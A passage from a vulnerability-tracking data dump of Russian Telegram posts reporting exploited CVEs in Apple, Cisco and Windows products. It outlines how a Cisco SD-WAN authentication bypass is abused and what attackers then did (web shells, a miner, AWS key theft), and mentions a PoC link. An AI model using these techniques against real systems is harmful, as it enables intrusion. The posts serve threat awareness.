#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.341821Z"}, {"uuid": "effcc8f4-39f9-4fbb-9b43-daf8a133c6a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/ZerodayAlert/616", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 2026 \u0433\u043e\u0434\u0443\n\n\ud83c\udfaf Apple \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e CVE-2026-20700 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0421\u0430\u043c\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u00ab\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e\u00bb \u0438 \u0442\u043e\u0447\u0435\u0447\u043d\u0443\u044e.\n\n\ud83d\udd17 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Apple. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u2014 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0435\u0449\u0451 \u0441 \u0434\u0432\u0443\u043c\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\ud83d\udd0d \u041d\u043e\u0432\u0443\u044e \u0431\u0440\u0435\u0448\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u043e\u0448\u043b\u0438 \u0432 iOS 18.7.5, iPadOS 18.7.5, macOS Tahoe 26.3, tvOS 26.3, watchOS 26.3 \u0438 visionOS 26.3 \u2014 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u043a\u0440\u0443\u0433\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 iPhone 11.\n\n#apple #\u043d\u0443\u043b\u0435\u0432\u043e\u0439\u0434\u0435\u043d\u044c #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.430752Z"}, {"uuid": "41858b95-3284-4df1-b7e6-4ffebffb8959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/ZerodayAlert/629", "content": "\u041f\u044f\u0442\u044c \u0441\u0442\u0440\u0430\u043d \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 Cisco SD-WAN\n\nCISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432 \u0421\u0428\u0410. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e 27 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u0430\u0442\u0430\u043a \u043b\u0435\u0436\u0430\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Cisco Catalyst SD-WAN \u2014 CVE-2026-20127, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430, \u0438 CVE-2022-20775, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u043f\u0443\u0442\u044c \u043a \u043f\u0440\u0430\u0432\u0430\u043c root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0443\u0437\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0435 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041a \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u044b, \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 \u0438 \u0421\u0428\u0410. \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u0430\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Cisco SD-WAN \u0441 2023 \u0433\u043e\u0434\u0430 \u2014 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0435\u0451 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430.\n\n#cisco #zeroday #sdwan #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:35.092693Z"}, {"uuid": "8ebdda62-f4d5-4bde-abee-1af1e8f92a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/cyberwarehouse/1108", "content": "#pentest #cve #exploit\n\nCVE-2026-20817 \u2699\ufe0f\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043e\u0448\u0438\u0431\u043e\u043a Windows Error Reporting Service \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e BDU:2026-00482 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 PoC \u0438 \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.", "creation_timestamp": "2026-07-26T02:00:06.148598Z"}, {"uuid": "8632a5ae-16db-47ae-b826-0ad691776f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/ZerodayAlert/640", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 0Day-\u0430\u0442\u0430\u043a\u0443 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0442\u0438\u0432 Cisco\n\n\ud83d\udd75\ufe0f \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 Amazon \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0443\u0433\u0440\u043e\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20131 \u0432 Cisco Secure Firewall Management Center. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c Java-\u043a\u043e\u0434 \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u2013 Interlock \u043d\u0430\u0447\u0430\u043b\u0430 \u0435\u0451 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 26 \u044f\u043d\u0432\u0430\u0440\u044f, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cisco \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043b\u0438\u0448\u044c 4 \u043c\u0430\u0440\u0442\u0430.\n\n\ud83d\udd13 \u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u043e\u0445\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u0432\u0441\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b Interlock: RAT \u043d\u0430 JavaScript \u0438 Java, \u0431\u0435\u0441\u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u043d\u0430 PowerShell \u0438 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b ScreenConnect, Volatility \u0438 Certify.\n\n\ud83c\udf0d \u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a \u0441 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e 75\u201380% \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0447\u0430\u0441\u043e\u0432\u043e\u0439 \u043f\u043e\u044f\u0441 UTC+3 \u0441 \u043f\u0438\u043a\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 12:00 \u0434\u043e 18:00. \u041f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0438\u0445 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 \u2013 \u044f\u0432\u043d\u0430\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043a \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0432\u0441\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n#cisco #zeroday #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #interlock\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:35.400299Z"}, {"uuid": "d1f257f6-f4bb-4945-8ba4-77345301dc06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/ZerodayAlert/699", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco SD-WAN \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0435\u0442\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20182 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 vdaemon \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 Cisco Catalyst SD-WAN \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 vHub \u2014 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c DTLS-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u043b\u044e\u0431\u044b\u043c \u0441\u0430\u043c\u043e\u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0442\u0438.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 UAT-8616 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 SSH-\u043a\u043b\u044e\u0447\u0438, \u043c\u0435\u043d\u044f\u044e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e NETCONF \u0438 \u0434\u043e\u0431\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0430\u0432 root.\u0422\u0430\u043a\u0436\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0442 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0435\u0449\u0451 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SD-WAN, \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043c\u0430\u0439\u043d\u0435\u0440 XMRig \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0442 \u043a\u043b\u044e\u0447\u0438 AWS.\n\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u043f\u0438\u0437\u043e\u0434\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Nim, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418. Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 20.12.6.2 \u0438 \u043d\u043e\u0432\u0435\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0442\u043a\u0438 SD-WAN \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442.\n\n#cisco #sdwan #UAT8616 #zeroday\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:37.438412Z"}, {"uuid": "5eb89a96-3757-4580-afcf-71a9c53c505d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/ZerodayAlert/712", "content": "\u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS: Cisco \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Secure Workload\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20223 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u2014 10/10 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 REST API \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Cisco Secure Workload \u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445, \u0442\u0430\u043a \u0438 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445.\n\n\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c \u0438 \u0441\u043b\u0430\u0431\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u043e 